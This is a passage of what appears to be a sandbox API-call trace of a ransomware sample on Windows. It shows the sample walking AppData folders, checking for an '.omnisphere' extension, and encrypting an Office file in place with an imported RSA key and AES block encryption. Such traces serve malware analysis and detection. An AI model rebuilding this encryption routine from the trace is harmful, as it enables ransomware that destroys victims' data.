lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2d8352f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc2d8352f, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc2d8352f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc3, cFileName="rasphone.pbk", cAlternateFileName="")) returned 0 [0115.975] FindClose (in: hFindFile=0x1639b28 | out: hFindFile=0x1639b28) returned 1 [0115.975] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\Pbk\\_hiddenPbk\\*", lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d8352f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc2d8352f, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc2d8352f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1639868 [0115.975] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d8352f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc2d8352f, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc2d8352f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.975] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2d8352f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc2d8352f, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc2d8352f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rasphone.pbk", cAlternateFileName="")) returned 1 [0115.975] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc2d8352f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc2d8352f, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc2d8352f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="rasphone.pbk", cAlternateFileName="")) returned 0 [0115.975] FindClose (in: hFindFile=0x1639868 | out: hFindFile=0x1639868) returned 1 [0115.975] GetProcessHeap () returned 0x1600000 [0115.975] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1630ea0 | out: hHeap=0x1600000) returned 1 [0115.975] GetProcessHeap () returned 0x1600000 [0115.975] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162da78 | out: hHeap=0x1600000) returned 1 [0115.975] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d8352f, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xc2d8352f, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xc2d8352f, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="_hiddenPbk", cAlternateFileName="_HIDDE~1")) returned 0 [0115.975] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0115.976] GetProcessHeap () returned 0x1600000 [0115.976] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165e868 | out: hHeap=0x1600000) returned 1 [0115.976] GetProcessHeap () returned 0x1600000 [0115.976] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x165dfa8 | out: hHeap=0x1600000) returned 1 [0115.976] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae631a53, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae631a53, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae631a53, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="_hiddencm", cAlternateFileName="_HIDDE~2")) returned 1 [0115.976] GetProcessHeap () returned 0x1600000 [0115.976] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9e) returned 0x16562e0 [0115.976] PathCombineW (in: pszDest=0x16562e0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections", pszFile="_hiddencm" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\_hiddencm") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\_hiddencm" [0115.976] GetProcessHeap () returned 0x1600000 [0115.976] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa2) returned 0x162ccb8 [0115.976] PathCombineW (in: pszDest=0x162ccb8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\_hiddencm", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\_hiddencm\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\_hiddencm\\*" [0115.976] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\_hiddencm\\*", lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae631a53, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae631a53, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae631a53, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc7, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0115.977] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae631a53, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae631a53, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae631a53, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc7, cFileName="..", cAlternateFileName="")) returned 1 [0115.977] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae631a53, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae631a53, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae631a53, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xc7, cFileName="..", cAlternateFileName="")) returned 0 [0115.977] FindClose (in: hFindFile=0x1639ae8 | out: hFindFile=0x1639ae8) returned 1 [0115.977] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Network\\Connections\\_hiddencm\\*", lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae631a53, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae631a53, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae631a53, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x16396a8 [0115.977] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae631a53, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae631a53, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae631a53, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0115.978] FindNextFileW (in: hFindFile=0x16396a8, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae631a53, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae631a53, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae631a53, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0115.978] FindClose (in: hFindFile=0x16396a8 | out: hFindFile=0x16396a8) returned 1 [0115.978] GetProcessHeap () returned 0x1600000 [0115.978] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162ccb8 | out: hHeap=0x1600000) returned 1 [0115.978] GetProcessHeap () returned 0x1600000 [0115.978] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16562e0 | out: hHeap=0x1600000) returned 1 [0115.978] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xae631a53, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae631a53, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae631a53, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="_hiddencm", cAlternateFileName="_HIDDE~2")) returned 0 [0115.978] FindClose (in: hFindFile=0x16397a8 | out: hFindFile=0x16397a8) returned 1 [0115.978] GetProcessHeap () returned 0x1600000 [0115.978] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167c320 | out: hHeap=0x1600000) returned 1 [0115.978] GetProcessHeap () returned 0x1600000 [0115.978] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167c288 | out: hHeap=0x1600000) returned 1 [0115.978] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0dd50 | out: lpFindFileData=0x3e0dd50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab3fa09c, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xb0d62598, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb0d62598, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x165fbe0, dwReserved1=0x1600000, cFileName="Connections", cAlternateFileName="CONNEC~1")) returned 0 [0115.978] FindClose (in: hFindFile=0x16394e8 | out: hFindFile=0x16394e8) returned 1 [0115.978] GetProcessHeap () returned 0x1600000 [0115.979] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163fe80 | out: hHeap=0x1600000) returned 1 [0115.979] GetProcessHeap () returned 0x1600000 [0115.979] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x163fb00 | out: hHeap=0x1600000) returned 1 [0115.979] FindNextFileW (in: hFindFile=0x1639768, lpFindFileData=0x3e0e24c | out: lpFindFileData=0x3e0e24c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2f2525a, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x15925c1b, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x15925c1b, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office", cAlternateFileName="")) returned 1 [0115.979] GetProcessHeap () returned 0x1600000 [0115.979] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x70) returned 0x1606e38 [0115.979] PathCombineW (in: pszDest=0x1606e38, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft", pszFile="Office" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office" [0115.979] GetProcessHeap () returned 0x1600000 [0115.979] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x74) returned 0x163f200 [0115.979] PathCombineW (in: pszDest=0x163f200, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\*" [0115.979] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\*", lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2f2525a, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x15925c1b, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x15925c1b, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName=".", cAlternateFileName="")) returned 0x1639ae8 [0115.979] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2f2525a, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x15925c1b, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x15925c1b, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xdb, cFileName="..", cAlternateFileName="")) returned 1 [0115.980] FindNextFileW (in: hFindFile=0x1639ae8, lpFindFileData=0x3e0dfa0 | out: lpFindFileData=0x3e0dfa0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f2525a, ftCreationTime.dwHighDateTime=0x1d327b6, ftLastAccessTime.dwLowDateTime=0x2f2525a, ftLastAccessTime.dwHighDateTime=0x1d327b6, ftLastWriteTime.dwLowDateTime=0x2f2525a, ftLastWriteTime.dwHighDateTime=0x1d327b6, nFileSizeHigh=0x0, nFileSizeLow=0x9362, dwReserved0=0x0, dwReserved1=0xdb, cFileName="MSO1033.acl", cAlternateFileName="")) returned 1 [0115.980] GetProcessHeap () returned 0x1600000 [0115.980] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x88) returned 0x1633498 [0115.980] PathCombineW (in: pszDest=0x1633498, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office", pszFile="MSO1033.acl" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl" [0115.980] StrStrW (lpFirst=".omnisphere", lpSrch=".acl") returned 0x0 [0115.980] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Office\\MSO1033.acl" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\office\\mso1033.acl"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0115.980] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x3e0dcc8 | out: lpFileSize=0x3e0dcc8*=37730) returned 1 [0115.980] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x8e3e, lpNewFilePointer=0x0, dwMoveMethod=0x3e0dcbc | out: lpNewFilePointer=0x0) returned 1 [0115.980] ReadFile (in: hFile=0x3a0, lpBuffer=0x3e0d770, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0dcb8, lpOverlapped=0x0 | out: lpBuffer=0x3e0d770*, lpNumberOfBytesRead=0x3e0dcb8*=0x524, lpOverlapped=0x0) returned 1 [0115.982] GetTickCount () returned 0x115cffe [0115.982] GetTickCount () returned 0x115cffe [0115.982] GetTickCount () returned 0x115cffe [0115.982] GetTickCount () returned 0x115cffe [0115.982] GetTickCount () returned 0x115cffe [0115.983] GetTickCount () returned 0x115cffe [0115.983] GetTickCount () returned 0x115cffe [0115.983] GetTickCount () returned 0x115cffe [0115.983] GetTickCount () returned 0x115cffe [0115.983] GetTickCount () returned 0x115cffe [0115.983] GetTickCount () returned 0x115cffe [0115.983] GetTickCount () returned 0x115cffe [0115.983] GetTickCount () returned 0x115cffe [0115.983] GetTickCount () returned 0x115cffe [0115.983] GetTickCount () returned 0x115cffe [0115.983] GetTickCount () returned 0x115cffe [0115.983] GetTickCount () returned 0x115cffe [0115.983] GetTickCount () returned 0x115cffe [0115.983] GetTickCount () returned 0x115cffe [0115.983] GetTickCount () returned 0x115cffe [0115.983] GetTickCount () returned 0x115cffe [0115.983] GetTickCount () returned 0x115cffe [0115.983] GetTickCount () returned 0x115cffe [0115.983] GetTickCount () returned 0x115cffe [0115.983] GetTickCount () returned 0x115cffe [0115.983] GetTickCount () returned 0x115cffe [0115.983] GetTickCount () returned 0x115cffe [0115.983] GetTickCount () returned 0x115cffe [0115.983] GetTickCount () returned 0x115cffe [0115.983] GetTickCount () returned 0x115cffe [0115.983] GetTickCount () returned 0x115cffe [0115.983] GetTickCount () returned 0x115cffe [0115.983] CryptAcquireContextW (in: phProv=0x3e0d750, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d750*=0x16688a0) returned 1 [0115.984] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d6b8, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d75c | out: phKey=0x3e0d75c*=0x16396a8) returned 1 [0115.984] CryptEncrypt (in: hKey=0x16396a8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0dc08*, pdwDataLen=0x3e0d74c*=0x75, dwBufLen=0x80 | out: pbData=0x3e0dc08*, pdwDataLen=0x3e0d74c*=0x80) returned 1 [0115.984] CryptDestroyKey (hKey=0x16396a8) returned 1 [0115.985] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0115.985] CreateFileMappingW (hFile=0x3a0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9362, lpName=0x0) returned 0x28c [0115.985] MapViewOfFile (hFileMappingObject=0x28c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9362) returned 0x1480000 [0115.987] CryptAcquireContextW (in: phProv=0x3e0d740, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d740*=0x1669010) returned 1 [0115.987] CryptImportKey (in: hProv=0x1669010, pbData=0x3e0d6f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d750 | out: phKey=0x3e0d750*=0x16397a8) returned 1 [0115.987] CryptSetKeyParam (hKey=0x16397a8, dwParam=0x4, pbData=0x3e0d734*=0x2, dwFlags=0x0) returned 1 [0115.987] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d73c*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d73c*=0x10) returned 1 [0115.988] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.988] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.988] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.988] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.988] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.988] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.988] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.988] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.988] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.988] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.988] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.988] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.988] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.988] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.988] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.988] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.988] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.988] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.988] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.988] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.989] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.989] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.989] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.989] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.989] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.989] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.989] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.989] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.989] CryptEncrypt (in: hKey=0x16397a8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d724*, pdwDataLen=0x3e0d738*=0x10) returned 1 [0115.989] CryptEncrypt (in: hKey=0x16397a8, 